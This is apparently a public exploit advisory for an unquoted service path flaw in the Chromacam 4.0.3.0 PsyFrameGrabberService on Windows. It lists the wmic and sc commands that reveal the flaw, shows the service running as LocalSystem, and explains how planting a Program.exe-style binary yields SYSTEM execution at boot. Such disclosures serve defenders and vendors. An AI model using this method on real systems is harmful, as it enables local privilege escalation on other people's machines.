# Exploit Title: Chromacam 4.0.3.0 - PsyFrameGrabberService Unquoted Service Path
# Exploit Author: Laguin Benjamin (MONK-MODE)
# Discovery Date: 2023-19-01
# Vendor Homepage: https://personifyinc.com/
# Software Link: https://personifyinc.com/download/chromacam
# Tested Version: Chromacam-4.0.3.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Microsoft Windows 10 x64
# CVE: In progress
# Step to discover Unquoted Service Path:
C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """
Personify Frame Transformer PsyFrameGrabberService C:\Program Files
(x86)\Personify\ChromaCam\64\PsyFrameGrabberService.exe Auto
C:\>sc qc "PsyFrameGrabberService"
[SC] QueryServiceConfig réussite(s)
SERVICE_NAME: PsyFrameGrabberService
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files
(x86)\Personify\ChromaCam\64\PsyFrameGrabberService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Personify Frame Transformer
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\>systeminfo
Host Name: DESKTOP-1000
OS Name: Microsoft Windows 10 Professionnel
OS Version: 10.0.19044 N/A build 19044
# Exploit
If an attacker had already compromised the system and the current user has
the privileges to write in the : C:\Program Files (x86)\ "C:\Program Files
(x86)\Personify" "C:\Program Files (x86)\Personify\ChromaCam" "C:\Program
Files (x86)\Personify\ChromaCam\64" folder or in "C:\" , he could place his
own "Program.exe" or "PsyFrameGrabberService.exe" files respectively, and
when the service starts, it would launch the malicious file, rather than
the original "PsyFrameGrabberService.exe".
The service starts automatically at bood and runs in system
